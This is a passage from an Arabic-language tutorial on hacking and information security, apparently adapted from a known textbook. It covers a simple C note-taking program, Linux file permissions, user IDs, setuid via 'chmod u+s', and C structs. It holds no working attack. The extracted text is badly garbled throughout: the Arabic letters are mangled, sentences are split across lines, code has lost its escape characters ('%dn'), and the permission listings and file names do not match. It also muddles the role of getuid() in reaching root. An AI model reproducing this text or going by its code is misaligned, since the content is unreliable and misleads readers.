‫ال‬ ‫نا‬َ‫ل‬ ‫تأيت‬ ‫م‬ُ‫ث‬
function
َ‫ي‬‫وذ‬ ،‫لف‬َ‫مل‬‫ا‬ ‫ق‬‫ُغل‬‫ت‬‫ل‬ ‫األطرية‬
close( )
،
‫سالة‬‫ر‬ ‫تام‬‫اخل‬ ‫يف‬ ‫ر‬َ‫َظه‬‫ت‬‫ل‬
:
"
note has been saved
"
‫ل‬َ‫م‬َ‫ع‬ ‫م‬ُ‫ث‬
free
‫ال‬ َ‫ن‬‫م‬ ٍ‫ُل‬‫ك‬‫ل‬
buffer
‫و‬
datafile
‫ال‬ َ‫ن‬‫م‬
Heap
.
‫بال‬ ‫اخلاص‬ ‫س‬‫و‬َ‫ق‬‫ال‬ ‫لق‬َ‫غ‬ ‫يتم‬َ‫و‬
main( )
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[84]
:‫النتائج‬ ‫ُشاذد‬‫ن‬‫ل‬
reader@hacking:~/booksrc $ gcc -o simplenote simplenote.c
reader@hacking:~/booksrc $ ./simplenote
Usage: ./simplenote <data to add to /tmp/notes>
reader@hacking:~/booksrc $ ./simplenote "this is a test note"
[DEBUG] buffer @ 0x804a008: 'this is a test note'
[DEBUG] datafile @ 0x804a070: '/tmp/notes'
[DEBUG] file descriptor is 3
Note has been saved.
reader@hacking:~/booksrc $ cat /tmp/notes
this is a test note
reader@hacking:~/booksrc $ ./simplenote "great, it works"
[DEBUG] buffer @ 0x804a008: 'great, it works'
[DEBUG] datafile @ 0x804a070: '/tmp/notes'
[DEBUG] file descriptor is 3
Note has been saved.
reader@hacking:~/booksrc $ cat /tmp/notes
this is a test note
great, it works
reader@hacking:~/booksrc $
reader@hacking:~/booksrc $
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[85]
File Permissions
‫ال‬ َ
‫َرب‬‫ت‬‫ع‬ُ‫ي‬
file permissions
‫األ‬ َ‫ن‬‫م‬
‫التشغيل‬ ‫أنظمة‬ ‫يف‬ ‫ة‬ّ‫م‬‫ه‬ُ‫مل‬‫ا‬ ‫مور‬
‫ال‬ َ‫ن‬‫م‬ ‫ة‬َ‫موع‬ َ
‫جم‬ ‫صيص‬ َ
‫خت‬ ‫َم‬‫ت‬ .
flags
‫جمها‬َ‫د‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬ ‫التي‬
‫وابة‬َ‫ب‬ ‫باستخدام‬ ً‫ا‬‫ع‬َ‫م‬
"
OR
."
‫ال‬ ‫ذذه‬
flags
َ‫ث‬ ‫لىل‬ ‫ة‬َ‫م‬‫قس‬ُ‫م‬
‫أنو‬ ‫ة‬َ‫ث‬‫ال‬َ‫ث‬‫ل‬ ‫الحيات‬ َ
‫ص‬ ‫ُعطي‬‫ت‬‫ل‬ ‫موعات‬ َ
‫جم‬ ‫الث‬
:‫ييل‬ ‫كام‬ ،‫مني‬‫َخد‬‫ت‬‫س‬ُ‫مل‬‫ا‬ َ‫ن‬‫م‬ ‫اع‬
User (Owner)
S_IRUSR Give the file read permission for the user (owner).
S_IWUSR Give the file write permission for the user (owner).
S_IXUSR Give the file execute permission for the user (owner).
Group
S_IRGRP Give the file read permission for the group.
S_IWGRP Give the file write permission for the group.
S_IXGRP Give the file execute permission for the group.
Others
S_IROTH Give the file read permission for other (anyone).
S_IWOTH Give the file write permission for other (anyone).
S_IXOTH Give the file execute permission for other (anyone).
‫التشغيل‬ ‫ظام‬‫ن‬ ‫يف‬ ‫لف‬َ‫م‬ ‫ُل‬‫ك‬‫ل‬
Linux
‫مني‬‫ستخد‬ُ‫مل‬‫ا‬ َ‫ن‬‫م‬ ‫أنواع‬ ‫ثالثة‬‫ل‬ ‫ى‬َ‫ط‬‫ُع‬‫ت‬ ‫التي‬ ‫الصالحيات‬ َ‫ن‬‫م‬ ‫موعة‬ َ
‫جم‬
:
Owner, Group, and Others
:‫ثال‬‫م‬‫ب‬ ‫ذذا‬ ‫د‬‫ُشاذ‬‫ن‬‫ل‬
reader@hacking:~/booksrc $ ls -l /etc/passwd simplenote*
-rw-/r--/r-- 1 root root 1424 2015-09-06 09:45 /etc/passwd
-rwx/r-x/r-x 1 reader reader 8457 2015-09-07 02:51 simplenote
-rw-/---/--- 1 reader reader 1872 2015-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[86]
‫لف‬َ‫م‬ ‫أول‬ ‫أن‬ ‫ظ‬‫ُالح‬‫ن‬
/etc/passwd
‫الحيات‬ َ
‫ص‬ ‫لعطاء‬ ‫َم‬‫ت‬
"
read and write
"
‫ال‬ ‫لىل‬
owner
،
‫و‬
read
‫ال‬ ‫لىل‬ ‫ققط‬
group
،
‫و‬
read
‫ال‬ ‫لىل‬ ً‫ا‬‫أيض‬
others
.
‫بتحديد‬ ‫منا‬ُ‫ق‬ ‫لذا‬
group
‫لضاقة‬ ‫ُنا‬‫ن‬‫مك‬ُ‫ي‬‫ق‬ ،
users
‫ذذا‬ ‫لىل‬
group
‫ذذا‬ ‫الحيات‬ َ
‫ص‬ ‫كون‬‫متل‬َ‫ي‬ َ
‫س‬ ،‫لليه‬ ‫لضاقتهم‬ ‫جرد‬ُ‫م‬‫وب‬ ،
group
َ‫كان‬ ‫قإذا‬ ،!
group
‫لل‬
Admins
‫ال‬ ‫صالحيات‬ ‫َح‬‫ن‬‫ُم‬‫ت‬ َ
‫س‬َ‫ق‬
Admin
‫ذا‬َ‫هل‬ ‫نتمي‬َ‫ي‬ ‫ن‬َ‫م‬ ‫ميع‬‫جل‬
group
.
َ‫ذ‬
:‫أكثر‬ ‫الصورة‬ ‫ح‬‫تتض‬ ‫َي‬‫ك‬ ‫ات‬ّ‫ي‬‫الصالح‬ ‫َعديل‬‫ت‬ ‫يه‬‫ق‬ ‫م‬‫ت‬َ‫ي‬ ‫ر‬ َ
‫آط‬ ‫ثال‬‫م‬ ‫د‬‫ُشاذ‬‫ن‬ ‫ا‬ّ‫ي‬
reader@hacking:~/booksrc $ chmod 731 simplenote.c
reader@hacking:~/booksrc $ ls -l simplenote.c
-rwx/-wx/--x 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $ chmod ugo-wx simplenote.c
reader@hacking:~/booksrc $ ls -l simplenote.c
-r--/---/--- 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $ chmod u+w simplenote.c
reader@hacking:~/booksrc $ ls -l simplenote.c
-rw-/---/--- 1 reader reader 1826 2007-09-07 02:51 simplenote.c
reader@hacking:~/booksrc $
‫لف‬َ‫للم‬ ‫َصاريح‬‫ت‬ ‫عطي‬ُ‫ي‬ َ
‫س‬ ُ‫ه‬‫أن‬ ‫األول‬ ‫السطر‬ ‫يف‬ ‫ظ‬‫الح‬
simplenote
‫األمر‬ ‫باستخدام‬
chmod
:‫كالتايل‬
7 for the owner, 3 for Group, and 1 for Others
‫تعني‬ ‫ماذا‬
7
‫ذذه؟؟‬
ً‫ا‬‫ن‬ َ
‫س‬ َ‫ح‬
‫ة‬َ‫ل‬َ‫د‬‫عا‬ُ‫مل‬‫ا‬ ‫ذذه‬ ‫ل‬‫تأم‬ ..
:
( 4 + 2 + 1 ) = 7
Since 4 is read flag, and 2 is write flag, and 1 is the execute flag!, then the sum is 7
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[87]
‫الرقم‬ ‫داللة‬ ‫ما‬ ‫واآلن‬
3
‫لل‬ ‫املعطى‬
Group
‫؟‬..
‫ثم‬
‫ال‬ ‫صالحيات‬ ‫بنزع‬ ‫سيقوم‬ ،‫يليه‬ ‫الذي‬ ‫األمر‬ ‫يف‬
write
‫ال‬ ‫و‬
execute
‫مجيعا‬ ‫منهم‬
user,group,other
.
‫ال‬ ‫صالحية‬ َ‫ط‬‫ُع‬‫ت‬ ‫مل‬ ‫أنه‬ ‫الحظ‬
read
‫ال‬ ‫من‬ ٍ‫ُل‬‫ك‬ ‫لىل‬ ‫األساس‬ ‫ن‬‫م‬
Group, and Other
.
‫ال‬ ‫لىل‬ ‫الآلن‬ ‫سننتقل‬
User IDs
.
User IDs
‫يف‬
‫التشغيل‬ ‫نظام‬
Linux
،
‫حيصل‬
‫ال‬
root user
‫عىل‬
id = 0
ُ‫ه‬‫أن‬ ‫تعني‬ ‫حيث‬
Administrator Account
.
َ‫ناك‬ُ‫ذ‬
‫بعض‬
‫لل‬ ‫الوصول‬ ‫ن‬‫م‬ ‫ُك‬‫ن‬ِّ‫ك‬ُ‫مت‬ ‫التي‬ ‫الثغرات‬
id 0
‫ال‬ ‫بعض‬ ‫باستخدام‬
functions
‫مثل‬
getuid( )
.
..‫هم‬ُ‫مل‬‫ا‬
‫ا‬ ‫ُمرجات‬ ‫نشاذد‬ ‫دعنا‬
‫ألمر‬
id
‫ال‬ ‫لك‬ ‫ر‬‫ظه‬ُ‫ي‬ ‫حيث‬
id
‫املعطا‬
‫ة‬
:‫لك‬
reader@hacking:~/booksrc $ id matrix
uid=500(matrix) gid=500(matrix) groups=500(matrix)
reader@hacking:~/booksrc $ id root
uid=0(root) gid=0(root) groups=0(root)
reader@hacking:~/booksrc $
‫بعمل‬ ‫سنقوم‬
log out
،
‫الد‬ ‫م‬ُ‫ث‬
‫ب‬ ‫طول‬
account
‫ب‬ ِّ‫ُجر‬‫ن‬‫و‬ ‫ر‬ َ
‫آط‬
‫اخلاص‬ ‫لفات‬َ‫مل‬‫ا‬ ‫د‬ َ‫أح‬ ‫تح‬َ‫ق‬
‫ة‬
‫بال‬
user reader
.
‫ل‬‫ُحاو‬‫ن‬ َ
‫س‬
‫ال‬ ‫لف‬َ‫م‬ ‫قتح‬
notes
‫كود‬ ‫كتبنا‬ ‫الذي‬
‫قبل‬ ‫ن‬‫م‬ ‫له‬‫داط‬‫ب‬ ‫ملة‬ُ‫جل‬‫ا‬ ‫لضاقة‬
.
:‫النتائج‬ ‫د‬‫ُشاذ‬‫ن‬‫ل‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[88]
jose@hacking:/home/reader/booksrc $
jose@hacking:/home/reader/booksrc $ ls -l /tmp/notes
-rw------- 1 reader reader 36 2007-09-07 05:20 /tmp/notes
jose@hacking:/home/reader/booksrc $ ./simplenote "a note for jose"
[DEBUG] buffer @ 0x804a008: 'a note for jose'
[DEBUG] datafile @ 0x804a070: '/tmp/notes'
[!!] Fatal Error in main() while opening file: Permission denied
jose@hacking:/home/reader/booksrc $ cat /tmp/notes
cat: /tmp/notes: Permission denied
jose@hacking:/home/reader/booksrc $ exit
exit
reader@hacking:~/booksrc $
‫من‬ ‫أكثر‬ ‫أراد‬ ‫لو‬ ‫ماذا‬ ‫ولكن‬
user
‫ل‬
َ‫ع‬
‫مل‬
access
‫عليه؟‬ ‫تعديالت‬ ‫لجراء‬ ‫أو‬ ‫امللف‬ ‫لنفس‬
.
‫ملف‬ ً‫ال‬‫مث‬
/etc/passwd
‫ال‬ ‫بيانات‬ ‫عىل‬ ‫حيتوي‬
users
‫ال‬ ‫ومنها‬
default shell
‫منهم‬ ‫بكل‬ ‫اخلاص‬
.
‫ال‬ ‫ماذذا‬
Shell
‫؟‬
‫منك‬ ‫يستقبل‬ ‫برنامج‬ ‫لنه‬
commands
‫ال‬ ‫لىل‬ ‫بإرساهلا‬ ‫ليقوم‬
Operating System
.
.
‫ال‬ ‫كان‬ ‫لقد‬
user interface
‫الوحيد‬
‫ة‬
‫ال‬ ‫وبني‬ ‫بينك‬ ‫التواصل‬ ‫حتقق‬ ‫التي‬
O.S
‫ال‬ ‫ظهور‬ ‫بدايات‬ ‫يف‬
UNIX
،
‫م‬ُ‫ث‬
‫ال‬ ‫ظهرت‬
GUI
ُ‫ت‬‫ل‬ ‫ذالك‬ ‫بعد‬
‫سهل‬
.!‫عنه‬ ‫غنى‬ ‫ال‬ ‫أنه‬ ‫لال‬ ‫األمور‬ ‫بعض‬
‫ال‬ ‫ذذه‬ ‫من‬ ‫األشهر‬
shells
‫ال‬ ‫ذو‬
Bash
‫كال‬ ‫أطرى‬ ‫أنواع‬ ‫عدة‬ ‫يوجد‬ ً‫ا‬‫أيض‬ ،‫واألقضل‬ ‫األقدم‬ ‫ذو‬ ‫حيث‬
ksh, tcsh, and zsh
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[89]
‫أن‬ ‫نا‬ُ‫ذ‬ ‫نا‬ُ‫م‬ُ َ
‫ماهي‬
linux
‫ال‬ ‫َغيري‬‫ت‬‫ب‬ ‫يقوم‬ ‫أن‬‫ب‬ ‫م‬‫َخد‬‫ت‬‫س‬ُ‫م‬ ‫ألي‬ ‫الصالحية‬ ‫عطي‬ُ‫ي‬
default shell
‫قوم‬َ‫ي‬ َ
‫س‬ ُ‫ه‬ّ‫ن‬‫أ‬ ‫عنى‬َ‫م‬‫ب‬ ،‫ه‬‫ب‬ ‫اخلاص‬
‫لف‬َ‫م‬ ‫ل‬‫داط‬ )‫م‬‫ستخد‬ُ‫مل‬‫ا‬ ‫(ذذا‬ ‫به‬ ‫اخلاص‬ ‫السطر‬ ‫عىل‬ ‫تعديل‬ ‫بإجراء‬
/etc/passwd
،
‫عادي‬ ‫م‬‫َخد‬‫ت‬‫س‬ُ‫م‬ ‫يقوم‬ َ
‫س‬ َ
‫كيف‬َ‫ق‬
‫التع‬ ‫ذذا‬ ‫بإجراء‬
‫د‬
!‫يل‬
.
‫النظام‬ ‫يف‬ ‫طاصية‬ ‫سنستخدم‬
‫ى‬‫ُسم‬‫ت‬
"
Set User Id Permission
"
.
‫ال‬ ‫تتذكر‬ ‫ذل‬
“read, write, and execute permissions”
.!
Setuid
َ
‫َرب‬‫ت‬‫ُع‬‫ت‬
permission
‫أي‬
‫الربامج‬ ‫ألحد‬ ‫لضاقتها‬ ‫نستطيع‬ ً‫ا‬‫ض‬
‫ال‬ ‫د‬ َ‫ح‬َ‫أ‬ ‫ل‬َ‫ب‬‫ق‬ ‫ن‬‫م‬ ‫الربنامج‬ ‫ذذا‬ ‫استخدام‬ ‫تم‬ ‫ما‬ ‫ولذا‬ ،
users
‫ال‬ ‫مع‬ ‫يتعامل‬ ‫قإنه‬
O.S
‫ال‬ ‫بصالحيات‬
root
.
‫ال‬ ‫نوع‬‫ل‬ ‫التغيري‬ ‫عملية‬ ‫بإجراء‬ ‫يقوم‬ ‫الذي‬ ‫غري‬ َ
‫الص‬ ‫للربنامج‬ ‫نأيت‬ َ
‫س‬
shell
‫لنه‬ ،!‫ك‬‫ب‬ ‫اخلاص‬
"
chsh
."
‫ال‬ ‫يف‬ ‫بكتابته‬ ‫نقوم‬
terminal
،َ‫و‬ُ‫ذ‬ ‫َام‬‫ك‬
chsh
،
‫الربنامج‬ ‫ذا‬َ‫ذ‬ ‫َها‬‫ن‬‫حي‬ ‫ذ‬ ُ
‫يأط‬ َ
‫س‬
id
َ‫ديد‬ َ‫ج‬
‫ة‬
‫ؤقت‬ُ‫م‬‫و‬
‫ة‬
‫عليها‬ ‫ق‬‫ُطل‬‫ن‬ ،
“Effective id”
،
‫له‬ ‫يتسنى‬ ‫كي‬
‫لجر‬
.‫التعديل‬ ‫اء‬
َ‫د‬‫و‬َ‫ع‬‫ال‬‫ب‬ ‫قوم‬َ‫ي‬ َ
‫س‬ ‫هاء‬‫اإلنت‬ َ‫د‬‫ع‬َ‫ب‬ ‫م‬ُ‫ث‬
‫ة‬
‫ال‬ ‫لىل‬
real id
‫ال‬ َ‫ي‬‫وذ‬
id
‫اص‬َ‫خل‬‫ا‬ ‫بيعية‬َ‫ط‬‫ال‬
‫ة‬
.‫ك‬‫ب‬
reader@hacking:~/booksrc $ which chsh
/usr/bin/chsh
reader@hacking:~/booksrc $ ls -l /usr/bin/chsh /etc/passwd
-rw-r--r-- 1 root root 1424 2007-09-06 21:05 /etc/passwd
-rws/r-x/r-x 1 root root 23920 2006-12-19 20:35 /usr/bin/chsh
reader@hacking:~/booksrc $
‫ال‬ ‫رف‬ َ‫ح‬ ،‫َرى‬‫ت‬ ‫َام‬‫ك‬
s)
)
‫طان‬ ‫أول‬ ‫يف‬ ‫يظهر‬
‫ة‬
‫ال‬ ‫ى‬َ‫د‬َ‫ل‬
chsh
‫ال‬ ‫لدى‬ ‫موجود‬ ‫غري‬ ‫بينام‬
/etc/passwd
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[90]
‫باستخد‬ ‫لديك‬ ‫رنامج‬َ‫ب‬ ‫ألي‬ ‫اخلاصية‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫تفعيل‬ ً‫ا‬‫أيض‬ َ
‫ُك‬‫ن‬‫مك‬ُ‫ي‬
‫األمر‬ ‫ام‬
"
chmod u+s
"
.
.‫ثال‬‫م‬‫ب‬ ‫ذذا‬ ‫ب‬ ِّ‫ُجر‬‫ن‬‫ل‬ ‫يا‬َ‫ذ‬
‫ال‬ ‫نا‬َ‫ل‬ ‫ض‬‫عر‬َ‫ي‬ ‫صغري‬ ‫كود‬ ‫ماييل‬
real id
‫ال‬ ‫و‬
effectve id
‫خدام‬‫است‬‫ب‬
function
‫ى‬‫م‬ َ‫ُس‬‫ت‬
getuid( )
#include <stdio.h>
int main() {
printf("real uid: %dn", getuid());
printf("effective uid: %dn", geteuid());
}
‫بإسم‬ ‫الكود‬ ‫ذا‬َ‫ذ‬ ‫ظ‬َ‫ف‬‫َح‬‫ن‬ َ
‫س‬
uid.c
‫اليوزر‬ ‫وذو‬ ‫احبه‬ َ
‫ص‬ ‫صالحيات‬‫ب‬ ‫ل‬َ‫عم‬َ‫ي‬ ‫اآلن‬ ‫الربنامج‬ ‫ذذا‬
"
reader
"
:‫كامييل‬
reader@hacking:~/booksrc $ ./uid
real uid: 999
effective uid: 999
reader@hacking:~/booksrc $
‫األمر‬ ‫تنفيذ‬‫ب‬ ‫َقوم‬‫ن‬ َ
‫س‬ ‫واآلن‬
(
chmod u+s
،)
‫للحرف‬ ‫انتبه‬
(
s
،)
‫ال‬ ‫طانة‬ ‫يف‬ ‫يظهر‬
owner
.)‫طانة‬ ‫(أول‬
reader@hacking:~/booksrc $ sudo chmod u+s ./uid
reader@hacking:~/booksrc $ ls -l uid_demo
-rws/r-x/r-x 1 root root 6825 2007-09-07 05:32 uid
reader@hacking:~/booksrc $ ./uid
real uid: 999
effective uid: 0
reader@hacking:~/booksrc $
‫األمر‬ ‫استخدام‬ ‫الحظ‬
Sudo
،
‫ال‬ ‫لضاقة‬ ‫ُنا‬‫ن‬ِّ‫ك‬َ‫م‬ُ‫ي‬ ‫ن‬َ‫ل‬ ‫ه‬‫دون‬‫ب‬َ‫ق‬
(Setuid permission)
.‫امللف‬ ‫هلذا‬
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[91]
‫ال‬ ‫لىل‬ ‫اآلن‬ ‫سننتقل‬
"
Structs
.."
Structs
َ‫ت‬ ‫ذل‬
‫ت‬
‫ذك‬
‫ال‬ ‫ر‬
Array
‫؟‬
.
.‫بعضها‬ ‫مع‬ ‫عة‬‫َم‬‫ت‬ ُ
‫جم‬ ‫النوع‬ ‫نفس‬ ‫من‬ ‫العنارص‬ ‫من‬ ‫جمموعة‬ ‫عن‬ ‫عبارة‬ ‫بأهنا‬ ‫قها‬ ِّ‫ُعر‬‫ن‬ ‫ا‬‫ُن‬‫ك‬
Array is collection of the elements of same type.
‫ال‬
Struct
‫ال‬ ‫فهوم‬َ‫م‬ ‫َفس‬‫ن‬ ‫ل‬‫م‬ َ
‫حي‬
array
‫بار‬‫ع‬ ‫النهاية‬ ‫يف‬ ‫ذو‬ ،ً‫ا‬‫َعقيد‬‫ت‬ ‫أكثر‬ ‫حاالت‬ ‫يف‬ ‫م‬َ‫َخد‬‫ت‬‫س‬ُ‫ي‬ ُ‫ه‬‫أن‬ َ‫ري‬َ‫غ‬
‫ة‬
‫تغري‬ُ‫م‬ ‫ن‬َ‫ع‬
Variable
،
َ‫د‬ِّ‫تعد‬ُ‫م‬ ‫طرى‬ُ‫أ‬ ‫تغريات‬ُ‫م‬ ‫داطله‬‫ب‬ ‫ل‬‫م‬ َ
‫حي‬ ُ‫ه‬‫أن‬ ُ
‫يث‬ َ‫ح‬ ،!‫طاص‬ ‫نوع‬ ‫ن‬‫م‬ ‫ّه‬‫ن‬‫ك‬َ‫ل‬
‫ة‬
ُ‫ن‬‫مك‬ُ‫ي‬‫و‬ ،
‫ل‬ َ
‫مح‬ ً‫ا‬‫أيض‬ ‫ه‬
variables
‫ذات‬
data types
‫تلف‬ ُ
‫ُم‬
‫ة‬
.
‫ال‬ ‫ذو‬ ‫قام‬
struct
‫؟‬
“Is a composition of the different variables of different data types, grouped under same name”
‫زين‬ َ
‫خت‬ ‫د‬َ‫َو‬‫ن‬ ‫أننا‬ ‫ضنا‬ َ‫ر‬َ‫ق‬ ‫لو‬ ً‫ال‬‫مث‬َ‫ق‬
records
‫اص‬ َ
‫ط‬
‫ة‬
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نقوم‬ َ
‫س‬ ،‫ما‬ ٍ‫رسة‬‫د‬َ‫م‬ ‫يف‬ ‫الب‬ُ‫ط‬‫ب‬
struct
‫ى‬‫م‬ َ‫س‬ُ‫ي‬
record
.
‫ال‬ ‫ذذا‬
struct
.‫الخ‬ .. ،‫الطالب‬ ‫ميالد‬ ‫تاريخ‬ ،‫راسية‬‫الد‬ ‫َة‬‫ن‬ ّ
‫الس‬ ،‫الطالب‬ ‫لسم‬ ‫نها‬‫م‬ ..‫ة‬َ‫ف‬‫َل‬‫ت‬ ُ
‫ُم‬ ‫أنواع‬ ‫ن‬‫م‬ ‫َغريات‬‫ت‬ُ‫م‬ ‫ه‬‫ل‬‫بداط‬ ‫ل‬‫حم‬َ‫ي‬ َ
‫س‬
‫َغريات‬‫ت‬ُ‫م‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫ُل‬‫ك‬ ‫أن‬ ‫ظ‬‫الح‬
members)
)
‫األسايس‬ ِّ
‫ري‬َ‫غ‬َ‫ت‬ُ‫مل‬‫ا‬ ‫ع‬َ‫ب‬‫َت‬‫ت‬
Recoed
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[92]
Struct Record {
char name[64];
char course[128];
int age;
int year;
};
:‫آطر‬ ‫مثال‬ ‫لنعطي‬
struct tm {
int tm_sec; /* seconds */
int tm_min; /* minutes */
int tm_hour; /* hours */
int tm_mday; /* day of the month */
int tm_mon; /* month */
int tm_year; /* year */
int tm_wday; /* day of the week */
int tm_yday; /* day in the year */
int tm_isdst; /* daylight saving time */
};
‫ال‬ ‫ذذا‬
struct
‫لسمه‬
tm
‫لل‬ ً‫ا‬‫لطتصار‬
“Time”
،
‫ال‬ َ‫ن‬‫م‬ ‫موعة‬ َ
‫جم‬ ‫له‬‫داط‬‫ب‬ ‫وي‬ َ
‫حي‬
variables
.
‫نستخدمه؟‬ ‫كيف‬ ..!‫جيد‬
.
‫احلقيق‬ ‫يف‬
‫ة‬
‫قاق‬‫باشت‬ ‫نقوم‬
object
‫ال‬ ‫ذا‬َ‫ذ‬ ‫ن‬‫م‬
struct
‫من‬ ‫أكثر‬ ‫اشتقاق‬ ‫مكننا‬ُ‫ي‬ ً‫ا‬‫أيض‬ ،‫ية‬ ّ‫ر‬ ُ‫ح‬ ‫ُل‬‫ك‬‫ب‬ ُ‫ه‬َ‫ع‬َ‫م‬ ‫ل‬ُ‫م‬‫بالتعا‬ ‫َقوم‬‫ن‬ ‫م‬ُ‫ث‬
object
‫َفس‬‫ن‬ ‫ن‬‫م‬
‫ذذا‬
‫ال‬
struct
.
‫س‬
ً‫ا‬‫وضوح‬ ‫أكثر‬ ‫األمر‬ ‫يكون‬
‫الصورة‬ ‫ِبذه‬
..
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[93]
‫ال‬ ‫ذو‬ ‫الدلو‬ ‫ذذا‬ ،‫الصورة‬ ‫يف‬ ‫ى‬ َ‫َر‬‫ت‬ ‫كام‬
Struct
،
‫ذ‬‫أط‬‫ب‬ َ‫م‬‫قا‬ ‫ايب‬ ُ
‫الرت‬ ‫الشكل‬ ‫وذذا‬
..‫فاته‬‫ص‬ ‫نفس‬ ،‫الدلو‬ ‫كل‬ َ
‫ش‬ ‫َفس‬‫ن‬
‫باملعنى‬
‫ال‬ ‫تويات‬ ُ
‫حم‬ ‫ذ‬ ُ
‫يأط‬ :‫ي‬ َ
‫الربجم‬
struct
،
‫عليها‬ ‫ون‬ُ‫ق‬‫طل‬ُ‫ي‬ ‫كام‬ ‫أو‬
Elements
‫أو‬
Attributes
.
‫اشتقاق‬ ‫بإمكاننا‬ ‫قإنه‬ ‫تعلم‬ ‫وكام‬
‫ال‬ ‫من‬ ‫عدد‬ ‫أي‬
objects
‫الرتابي‬
‫ة‬
‫الدلو‬ ‫ذذا‬ ‫من‬
..
‫ال‬
"
Struct
."
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[94]
:‫صغري‬ ‫نامج‬ َ
‫رب‬‫ب‬ ‫األمر‬ ‫ذا‬َ‫ذ‬ ‫ب‬ ِّ‫ر‬َ‫ُج‬‫ن‬ ‫يا‬َ‫ذ‬
#include <stdio.h>
#include <time.h>
int main() {
long int seconds_since_epoch;
struct tm current_time, *time_ptr;
int hour, minute, second, day, month, year;
seconds_since_epoch = time(0); // Pass time a null pointer as argument.
printf("time() - seconds since epoch: %ldn", seconds_since_epoch);
time_ptr = &current_time; // Set time_ptr to the address of the current_time struct.
localtime_r(&seconds_since_epoch, time_ptr);
// Three different ways to access struct elements:
hour = current_time.tm_hour; // Direct access
minute = time_ptr->tm_min; // Access via pointer
second = *((int *) time_ptr); // Hacky pointer access
printf("Current time is: %02d: %02d: %02dn", hour, minute,
second);
}
‫باشتقاق‬ ‫قمنا‬ ‫الربنامج‬ ‫بداية‬ ‫يف‬
current_time
object
،
‫قنا‬‫ر‬َ‫ع‬ ‫م‬ُ‫ث‬
pointer *time_ptr
.
‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫نا‬‫م‬ُ‫ق‬ ً‫ا‬‫أيض‬
declare
َ‫ت‬ُ‫مل‬
ِّ
‫ري‬َ‫غ‬
long int
!‫كبري‬ ‫عدد‬ ‫حوي‬َ‫ي‬ َ
‫س‬ ‫ألنه‬
.
‫استخدام‬ ‫َم‬‫ت‬
function
‫بإسم‬
time( )
،
َ‫ج‬َ‫ر‬‫د‬ُ‫م‬ ‫وذي‬
‫ة‬
‫يف‬
"
time.h library
"
.
‫ال‬ ‫ذذه‬ ‫تقوم‬
function
‫ك‬ ‫د‬‫د‬َ ُ
‫حم‬ ‫وقت‬ ‫منذ‬ ‫املحسوبه‬ ‫الثواين‬ ‫عدد‬ ‫لنا‬ ‫بإرجاع‬
base line
‫ذو‬
1/1/1970
.
‫ل‬‫ع‬َ‫ج‬‫ب‬ ‫منا‬ُ‫ق‬ ‫م‬ُ‫ث‬
‫ال‬
pointer time_ptr
‫لىل‬ ‫شري‬ُ‫ي‬
‫ال‬
"
address of our object
"
‫وذ‬
‫و‬
current_time
‫ال‬ ‫ذذا‬ ‫حيوي‬
object
‫ال‬
elements
‫املوجود‬
‫ة‬
‫ال‬ ‫يف‬
struct tm
‫قارغ‬ ‫نها‬‫ك‬َ‫ل‬
‫ة‬
!
.
‫اإللكتروني‬‫القرصنة‬
‫ة‬
‫وأ‬
‫المعلومات‬‫من‬
Understanding Hacking and Information Security
Programming
[95]
‫أهنا‬ ‫تذكر‬
variables
‫اآلن‬ ‫َمألذا‬‫ن‬ ‫سوف‬ ‫أننا‬ ‫بمعنى‬
،
‫سنستخدم‬
function
‫بإسم‬
localtime_r( )
‫ال‬ ‫ذذه‬ ‫بمأل‬ ‫لتقوم‬
variables
‫احلايل‬ ‫بالتوقيت‬
.
‫أط‬ ‫م‬ُ‫ث‬
‫نستخدم‬ ً‫ا‬‫ري‬
printf( )
‫من‬ ‫استدعائهم‬ ‫طريق‬ ‫عن‬ ‫وذلك‬ ،‫والثواين‬ ‫والدقائق‬ ‫بالساعات‬ ‫احلايل‬ ‫التوقيت‬ ‫لنا‬ ‫تعرض‬‫ل‬
‫ال‬ ‫ذذا‬
object
‫قامت‬ ‫أن‬ ‫بعد‬
locate_r( )
.‫بملئهم‬
َ‫ف‬‫تل‬ ُ
‫ُم‬ ‫ق‬ ُ‫ر‬ُ‫ط‬ ‫ثالثة‬ ‫سنستخدم‬
‫ة‬
‫ال‬ ‫ذذه‬ ‫من‬ ٍ‫لكل‬ ‫استدعائنا‬ ‫أثناء‬
Elements
‫وال‬ ‫والدقائق‬ ‫للساعات‬ ‫كونني‬ُ‫مل‬‫ا‬ ‫الثالثة‬
.‫ثواين‬

‫أ‬
‫أن‬ ‫وذي‬ ‫األوىل‬ ‫الطريقة‬ ‫شهرذم‬
:‫ييل‬ ‫كام‬ ‫نستدعيه‬
object.strct_element
